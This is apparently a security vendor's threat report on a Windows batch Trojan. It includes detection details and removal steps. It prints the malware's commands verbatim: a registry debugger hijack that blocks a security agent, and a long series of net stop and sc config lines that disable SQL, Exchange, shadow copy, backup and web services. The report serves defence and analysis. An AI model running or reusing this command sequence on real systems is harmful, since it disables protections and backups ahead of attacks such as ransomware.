Analysis by: Francesca Villasanta
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 8,032 bytes
File Type: BAT
Memory Resident: No
Initial Samples Received Date: 27 Feb 2023
Payload: Modifies system registry

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • REG  ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wrsa.exe" /v Debugger /t REG_SZ /d "%Windows%\uddi.exe"
  • net stop MSSQLSERVER /y
  • sc config MSSQLSERVER start= disabled
  • net stop "SQL Server (MSSQLSERVER)" /y
  • sc config "SQL Server (MSSQLSERVER)" start= disabled
  • net stop MSSQL$ /y
  • sc config MSSQL$ start= disabled
  • net stop SQLSERVERAGENT /y
  • sc config SQLSERVERAGENT start= disabled
  • net stop SQLBrowser /y
  • sc config SQLBrowser start= disabled
  • net stop vss /y
  • sc config vss start= disabled
  • net stop SQLWriter /y
  • sc config SQLWriter start= disabled
  • net stop vmvss /y
  • sc config vmvss start= disabled
  • net stop MSSQL$FE_EXPRESS /y
  • sc config MSSQL$FE_EXPRESS start= disabled
  • net stop MSSQL$RE_EXPRESS /y
  • sc config MSSQL$RE_EXPRESS start= disabled
  • net stop SQLANYs_Sage_FAS_Fixed_Assets /y
  • sc config SQLANYs_Sage_FAS_Fixed_Assets start= disabled
  • net stop MSSQL$VIM_SQLEXP /y
  • sc config MSSQL$VIM_SQLEXP start= disabled
  • net stop "MSSQLFDLauncher" /y
  • net stop "MSSQLSERVER" /y
  • net stop "SQLSERVERAGENT" /y
  • net stop "SQLBrowser" /y
  • net stop "SQLTELEMETRY" /y
  • net stop "MsDtsServer130" /y
  • net stop "SSISTELEMETRY130" /y
  • net stop "SQLWriter" /y
  • net stop "MSSQL$VEEAMSQL2012" /y
  • net stop "SQLAgent$VEEAMSQL2012" /y
  • net stop "MSSQL" /y
  • net stop "SQLAgent" /y
  • net stop "MSSQLServerADHelper100" /y
  • net stop "MSSQLServerOLAPService" /y
  • net stop "MsDtsServer100" /y
  • net stop "ReportServer" /y
  • net stop "SQLTELEMETRY$HL" /y
  • net stop "TMBMServer" /y
  • net stop "MSSQL$PROGID" /y
  • net stop "MSSQL$WOLTERSKLUWER" /y
  • net stop "SQLAgent$PROGID" /y
  • net stop "SQLAgent$WOLTERSKLUWER" /y
  • net stop "MSSQLFDLauncher$OPTIMA" /y
  • net stop "MSSQL$OPTIMA" /y
  • net stop "SQLAgent$OPTIMA" /y
  • net stop "ReportServer$OPTIMA" /y
  • net stop "msftesql$SQLEXPRESS" /y
  • net stop "postgresql-x64-9.4" /y
  • sc config "MSSQLFDLauncher" start= disabled
  • sc config "MSSQLSERVER" start= disabled
  • sc config "SQLSERVERAGENT" start= disabled
  • sc config "SQLBrowser" start= disabled
  • sc config "SQLTELEMETRY" start= disabled
  • sc config "MsDtsServer130" start= disabled
  • sc config "SSISTELEMETRY130" start= disabled
  • sc config "SQLWriter" start= disabled
  • sc config "MSSQL$VEEAMSQL2012" start= disabled
  • sc config "SQLAgent$VEEAMSQL2012" start= disabled
  • sc config "MSSQL" start= disabled
  • sc config "SQLAgent" start= disabled
  • sc config "MSSQLServerADHelper100" start= disabled
  • sc config "MSSQLServerOLAPService" start= disabled
  • sc config "MsDtsServer100" start= disabled
  • sc config "ReportServer" start= disabled
  • sc config "SQLTELEMETRY$HL" start= disabled
  • sc config "TMBMServer" start= disabled
  • sc config "MSSQL$PROGID" start= disabled
  • sc config "MSSQL$WOLTERSKLUWER" start= disabled
  • sc config "SQLAgent$PROGID" start= disabled
  • sc config "SQLAgent$WOLTERSKLUWER" start= disabled
  • sc config "MSSQLFDLauncher$OPTIMA" start= disabled
  • sc config "MSSQL$OPTIMA" start= disabled
  • sc config "SQLAgent$OPTIMA" start= disabled
  • sc config "ReportServer$OPTIMA" start= disabled
  • sc config "msftesql$SQLEXPRESS" start= disabled
  • sc config "postgresql-x64-9.4" start= disabled
  • net stop MSDTC /y
  • sc config MSDTC start= disabled
  • net stop vmicvss /y
  • sc config vmicvss start= disabled
  • net stop HostControllerService /y
  • sc config HostControllerService start= disabled
  • net stop MSComplianceAudit /y
  • sc config MSComplianceAudit start= disabled
  • net stop MSExchangeADTopology /y
  • sc config MSExchangeADTopology start= disabled
  • net stop MSExchangeAntispamUpdate /y
  • sc config MSExchangeAntispamUpdate start= disabled
  • net stop MSExchangeCompliance /y
  • sc config MSExchangeCompliance start= disabled
  • net stop MSExchangeDagMgmt /y
  • sc config MSExchangeDagMgmt start= disabled
  • net stop MSExchangeDelivery /y
  • sc config MSExchangeDelivery start= disabled
  • net stop MSExchangeDiagnostics /y
  • sc config MSExchangeDiagnostics start= disabled
  • net stop MSExchangeEdgeSync /y
  • sc config MSExchangeEdgeSync start= disabled
  • net stop MSExchangeFastSearch /y
  • sc config MSExchangeFastSearch start= disabled
  • net stop MSExchangeFrontEndTransport /y
  • sc config MSExchangeFrontEndTransport start= disabled
  • net stop MSExchangeHM /y
  • sc config MSExchangeHM start= disabled
  • net stop MSExchangeHMRecovery /y
  • sc config MSExchangeHMRecovery start= disabled
  • net stop MSExchangeImap4 /y
  • sc config MSExchangeImap4 start= disabled
  • net stop MSExchangeIMAP4BE /y
  • sc config MSExchangeIMAP4BE start= disabled
  • net stop MSExchangeIS /y
  • sc config MSExchangeIS start= disabled
  • net stop MSExchangeMailboxAssistants /y
  • sc config MSExchangeMailboxAssistants start= disabled
  • net stop MSExchangeMailboxReplication /y
  • sc config MSExchangeMailboxReplication start= disabled
  • net stop MSExchangeNotificationsBroker /y
  • sc config MSExchangeNotificationsBroker start= disabled
  • net stop MSExchangePop3 /y
  • sc config MSExchangePop3 start= disabled
  • net stop MSExchangePOP3BE /y
  • sc config MSExchangePOP3BE start= disabled
  • net stop MSExchangeRepl /y
  • sc config MSExchangeRepl start= disabled
  • net stop MSExchangeRPC /y
  • sc config MSExchangeRPC start= disabled
  • net stop MSExchangeServiceHost /y
  • sc config MSExchangeServiceHost start= disabled
  • net stop MSExchangeSubmission /y
  • sc config MSExchangeSubmission start= disabled
  • net stop MSExchangeThrottling /y
  • sc config MSExchangeThrottling start= disabled
  • net stop MSExchangeTransport /y
  • sc config MSExchangeTransport start= disabled
  • net stop MSExchangeTransportLogSearch /y
  • sc config MSExchangeTransportLogSearch start= disabled
  • net stop MSExchangeUM /y
  • sc config MSExchangeUM start= disabled
  • net stop MSExchangeUMCR /y
  • sc config MSExchangeUMCR start= disabled
  • net stop SearchExchangeTracing /y
  • sc config SearchExchangeTracing start= disabled
  • net stop wsbexchange /y
  • sc config wsbexchange start= disabled
  • net stop IISADMIN /y
  • sc config IISADMIN start= disabled
  • net stop Tomcat8_CLOUDERP /y
  • sc config Tomcat8_CLOUDERP start= disabled
  • net stop Tomcat8_DESARROLLO221 /y
  • sc config Tomcat8_DESARROLLO221 start= disabled
  • net stop TeamViewer /y
  • sc config TeamViewer start= disabled
  • net stop Ras Database Service /y
  • sc config Ras Database Service start= disabled
  • net stop Apache4TurboCRM70 /y
  • sc config Apache4TurboCRM70 start= disabled
  • net stop Apache4U8AppServer /y
  • sc config Apache4U8AppServer start= disabled
  • net stop U8DispatchService /y
  • sc config U8DispatchService start= disabled
  • net stop U8EISService /y
  • sc config U8EISService start= disabled
  • net stop U8KeyManagePool /y
  • sc config U8KeyManagePool start= disabled
  • net stop U8MPool /y
  • sc config U8MPool start= disabled
  • net stop U8SCMPool /y
  • sc config U8SCMPool start= disabled
  • net stop U8SLReportService /y
  • sc config U8SLReportService start= disabled
  • net stop U8TaskService /y
  • sc config U8TaskService start= disabled
  • net stop U8WebPool /y
  • sc config U8WebPool start= disabled
  • net stop U8WorkerService1 /y
  • sc config U8WorkerService1 start= disabled
  • net stop U8WorkerService2 /y
  • sc config U8WorkerService2 start= disabled
  • net stop UFAllNet /y
  • sc config UFAllNet start= disabled
  • net stop UFNet /y
  • sc config UFNet start= disabled
  • net stop TurboCRM70 /y
  • sc config TurboCRM70 start= disabled
  • net stop OBScheduler /y
  • sc config OBScheduler start= disabled
  • net stop OSP Service /y
  • sc config OSP Service start= disabled
  • net stop OSPLinkProxy /y
  • sc config OSPLinkProxy start= disabled
  • net stop OBCDPService /y
  • sc config OBCDPService start= disabled
  • net stop OBAutoUpdate /y
  • sc config OBAutoUpdate start= disabled
  • net stop memcached Server /y
  • sc config memcached Server start= disabled
  • net stop UFReportService /y
  • sc config UFReportService start= disabled
  • net stop UTUService /y
  • sc config UTUService start= disabled
  • net stop W3SVC /y
  • sc config W3SVC start= disabled
  • net stop WinHttpAutoProxySvc /y
  • sc config WinHttpAutoProxySvc start= disabled
  • net stop RasBasicManage /y
  • sc config RasBasicManage start= disabled
  • net stop RasU8License /y
  • sc config RasU8License start= disabled
  • net stop RasWebService /y
  • sc config RasWebService start= disabled

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Image File Execution Options\
wrsa.exe
Debugger = %Windows%\uddi.exe

Process Termination

This Trojan terminates the following services if found on the affected system:

  • Apache4U8AppServer
  • HostControllerService
  • IISADMIN
  • memcached Server
  • MSComplianceAudit
  • MSDTC
  • MsDtsServer100
  • MsDtsServer100
  • MsDtsServer130
  • MSExchangeADTopology
  • MSExchangeAntispamUpdate
  • MSExchangeCompliance
  • MSExchangeDagMgmt
  • MSExchangeDelivery
  • MSExchangeDiagnostics
  • MSExchangeEdgeSync
  • MSExchangeFastSearch
  • MSExchangeFrontEndTransport
  • MSExchangeHM
  • MSExchangeHMRecovery
  • MSExchangeImap4
  • MSExchangeIMAP4BE
  • MSExchangeIS
  • MSExchangeMailboxAssistants
  • MSExchangeMailboxReplication
  • MSExchangeNotificationsBroker
  • MSExchangePop3
  • MSExchangePOP3BE
  • MSExchangeRepl
  • MSExchangeRPC
  • MSExchangeServiceHost
  • MSExchangeSubmission
  • MSExchangeThrottling
  • MSExchangeTransport
  • MSExchangeTransportLogSearch
  • MSExchangeUM
  • MSExchangeUMCR
  • msftesql$SQLEXPRESS
  • MSSQL
  • MSSQL$
  • MSSQL$FE_EXPRESS
  • MSSQL$OPTIMA
  • MSSQL$PROGID
  • MSSQL$RE_EXPRESS
  • MSSQL$VEEAMSQL2012
  • MSSQL$VIM_SQLEXP
  • MSSQL$WOLTERSKLUWER
  • MSSQLFDLauncher
  • MSSQLFDLauncher$OPTIMA
  • MSSQLSERVER
  • MSSQLServerADHelper100
  • MSSQLServerOLAPService
  • OBAutoUpdate
  • OBCDPService
  • OBScheduler
  • OSP Service
  • OSPLinkProxy
  • postgresql-x64-9.4
  • Ras Database Service
  • RasBasicManage
  • RasU8License
  • RasWebService
  • ReportServer
  • ReportServer$OPTIMA
  • SearchExchangeTracing
  • SQL Server (MSSQLSERVER)
  • SQLAgent
  • SQLAgent$OPTIMA
  • SQLAgent$PROGID
  • SQLAgent$VEEAMSQL2012
  • SQLAgent$WOLTERSKLUWER
  • SQLANYs_Sage_FAS_Fixed_Assets
  • SQLBrowser
  • SQLSERVERAGENT
  • SQLTELEMETRY
  • SQLTELEMETRY$HL
  • SQLWriter
  • SSISTELEMETRY130
  • TeamViewer
  • TMBMServer
  • Tomcat8_CLOUDERP
  • Tomcat8_DESARROLLO221
  • TurboCRM70
  • U8DispatchService
  • U8EISService
  • U8KeyManagePool
  • U8MPool
  • U8SCMPool
  • U8SLReportService
  • U8TaskService
  • U8WebPool
  • U8WorkerService1
  • U8WorkerService2
  • UFAllNet
  • UFNet
  • UFReportService
  • UTUService
  • vmicvss
  • vmvss
  • vss
  • W3SVC
  • WinHttpAutoProxySvc
  • wsbexchange

Other Details

This Trojan adds the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\Image File Execution Options\
wrsa.exe

It does the following:

  • It sets the start type to "disabled" for the following services if found on the affected system:
    • Apache4U8AppServer
    • HostControllerService
    • IISADMIN
    • memcached Server
    • MSComplianceAudit
    • MSDTC
    • MsDtsServer100
    • MsDtsServer100
    • MsDtsServer130
    • MSExchangeADTopology
    • MSExchangeAntispamUpdate
    • MSExchangeCompliance
    • MSExchangeDagMgmt
    • MSExchangeDelivery
    • MSExchangeDiagnostics
    • MSExchangeEdgeSync
    • MSExchangeFastSearch
    • MSExchangeFrontEndTransport
    • MSExchangeHM
    • MSExchangeHMRecovery
    • MSExchangeImap4
    • MSExchangeIMAP4BE
    • MSExchangeIS
    • MSExchangeMailboxAssistants
    • MSExchangeMailboxReplication
    • MSExchangeNotificationsBroker
    • MSExchangePop3
    • MSExchangePOP3BE
    • MSExchangeRepl
    • MSExchangeRPC
    • MSExchangeServiceHost
    • MSExchangeSubmission
    • MSExchangeThrottling
    • MSExchangeTransport
    • MSExchangeTransportLogSearch
    • MSExchangeUM
    • MSExchangeUMCR
    • msftesql$SQLEXPRESS
    • MSSQL
    • MSSQL$
    • MSSQL$FE_EXPRESS
    • MSSQL$OPTIMA
    • MSSQL$PROGID
    • MSSQL$RE_EXPRESS
    • MSSQL$VEEAMSQL2012
    • MSSQL$VIM_SQLEXP
    • MSSQL$WOLTERSKLUWER
    • MSSQLFDLauncher
    • MSSQLFDLauncher$OPTIMA
    • MSSQLSERVER
    • MSSQLServerADHelper100
    • MSSQLServerOLAPService
    • OBAutoUpdate
    • OBCDPService
    • OBScheduler
    • OSP Service
    • OSPLinkProxy
    • postgresql-x64-9.4
    • Ras Database Service
    • RasBasicManage
    • RasU8License
    • RasWebService
    • ReportServer
    • ReportServer$OPTIMA
    • SearchExchangeTracing
    • SQL Server (MSSQLSERVER)
    • SQLAgent
    • SQLAgent$OPTIMA
    • SQLAgent$PROGID
    • SQLAgent$VEEAMSQL2012
    • SQLAgent$WOLTERSKLUWER
    • SQLANYs_Sage_FAS_Fixed_Assets
    • SQLBrowser
    • SQLSERVERAGENT
    • SQLTELEMETRY
    • SQLTELEMETRY$HL
    • SQLWriter
    • SSISTELEMETRY130
    • TeamViewer
    • TMBMServer
    • Tomcat8_CLOUDERP
    • Tomcat8_DESARROLLO221
    • TurboCRM70
    • U8DispatchService
    • U8EISService
    • U8KeyManagePool
    • U8MPool
    • U8SCMPool
    • U8SLReportService
    • U8TaskService
    • U8WebPool
    • U8WorkerService1
    • U8WorkerService2
    • UFAllNet
    • UFNet
    • UFReportService
    • UTUService
    • vmicvss
    • vmvss
    • vss
    • W3SVC
    • WinHttpAutoProxySvc
    • wsbexchange

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 18.284.02
FIRST VSAPI PATTERN DATE: 28 Feb 2023
VSAPI OPR PATTERN File: 18.285.00
VSAPI OPR PATTERN Date: 01 Mar 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wrsa.exe

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.PROCKILL.AD. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.